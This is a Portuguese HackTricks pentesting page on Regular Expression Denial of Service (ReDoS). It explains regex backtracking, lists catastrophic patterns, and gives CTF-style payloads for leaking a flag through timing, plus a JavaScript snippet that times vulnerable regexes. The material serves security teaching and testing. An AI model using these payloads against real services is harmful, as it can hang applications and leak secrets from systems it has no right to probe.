hacktricks/pentesting-web/regular-expression-denial-of-service-redos.md
2023-06-06 18:56:34 +00:00

8.5 KiB

Regular expression Denial of Service - ReDoS

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Introdução

Copiado de https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

O Regular expression Denial of Service (ReDoS) é um ataque de Negação de Serviço, que explora o fato de que a maioria das implementações de Expressão Regular podem chegar a situações extremas que as fazem trabalhar muito lentamente (exponencialmente relacionado ao tamanho da entrada). Um atacante pode então fazer com que um programa que usa uma Expressão Regular entre nessas situações extremas e fique pendurado por um longo período de tempo.

Descrição

O algoritmo ingênuo de Regex problemático

O algoritmo ingênuo de Expressão Regular constrói um Autômato Finito Não-Determinístico (AFND), que é uma máquina de estados finitos onde para cada par de estado e símbolo de entrada pode haver vários possíveis estados seguintes. Em seguida, o mecanismo começa a fazer transições até o final da entrada. Como pode haver vários possíveis estados seguintes, um algoritmo determinístico é usado. Este algoritmo tenta um por um todos os caminhos possíveis (se necessário) até que uma correspondência seja encontrada (ou todos os caminhos sejam tentados e falhem).

Por exemplo, a Expressão Regular ^(a+)+$ é representada pelo seguinte AFND:

Autômato Finito Não-Determinístico

Para a entrada aaaaX, existem 16 caminhos possíveis no gráfico acima. Mas para aaaaaaaaaaaaaaaaX existem 65536 caminhos possíveis, e o número dobra para cada a adicional. Este é um caso extremo em que o algoritmo ingênuo é problemático, porque ele deve passar por muitos caminhos e, em seguida, falhar.

Observe que nem todos os algoritmos são ingênuos, e na verdade os algoritmos de Regex podem ser escritos de maneira eficiente. Infelizmente, a maioria dos motores de Regex hoje tentam resolver não apenas Regexes "puros", mas também Regexes "expandidos" com "adições especiais", como referências inversas que nem sempre podem ser resolvidas de maneira eficiente (veja Padrões para linguagens não regulares em Wiki-Regex para mais detalhes). Então, mesmo que a Regex não seja "expandida", um algoritmo ingênuo é usado.

Regexes maliciosos

Uma Regex é chamada de "maliciosa" se ela puder ficar presa em uma entrada criada.

O padrão de Regex malicioso contém:

  • Agrupamento com repetição
  • Dentro do grupo repetido:
    • Repetição
    • Alternância com sobreposição

Exemplos de Padrões Maliciosos:

  • (a+)+
  • ([a-zA-Z]+)*
  • (a|aa)+
  • (a|a?)+
  • (.*a){x} para x \> 10

Todos os acima são suscetíveis à entrada aaaaaaaaaaaaaaaaaaaaaaaa! (O comprimento mínimo da entrada pode mudar ligeiramente, ao usar máquinas mais rápidas ou mais lentas).

Cargas úteis ReDoS

Exfiltração de string via ReDoS

Em um CTF (ou recompensa por bugs), talvez você controle a Regex com a qual uma informação sensível (a flag) é correspondida. Então, se for útil fazer com que a página congele (tempo limite ou tempo de processamento mais longo) se uma Regex corresponder e não se corresponder. Dessa forma, você poderá exfiltrar a string caractere por caractere:

  • Neste post você pode encontrar esta regra ReDoS: ^(?=<flag>)((.*)*)*salt$
    • Exemplo: ^(?=HTB{sOmE_fl§N§)((.*)*)*salt$
  • Neste writeup você pode encontrar este: <flag>(((((((.*)*)*)*)*)*)*)!
  • Neste writeup ele usou: ^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$

ReDoS controlando entrada e Regex

Os seguintes são exemplos de ReDoS onde você controla tanto a entrada quanto a Regex:

function check_time_regexp(regexp, text){
    var t0 = new Date().getTime();;
    new RegExp(regexp).test(text);
    var t1 = new Date().getTime();;
    console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}

// This payloads work because the input has several "a"s
[
//  "((a+)+)+$",  //Eternal,
//  "(a?){100}$", //Eternal
    "(a|a?)+$",
    "(\\w*)+$",   //Generic
    "(a*)+$",
    "(.*a){100}$",
    "([a-zA-Z]+)*$", //Generic
    "(a+)*$",
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))

/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/

Ferramentas

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥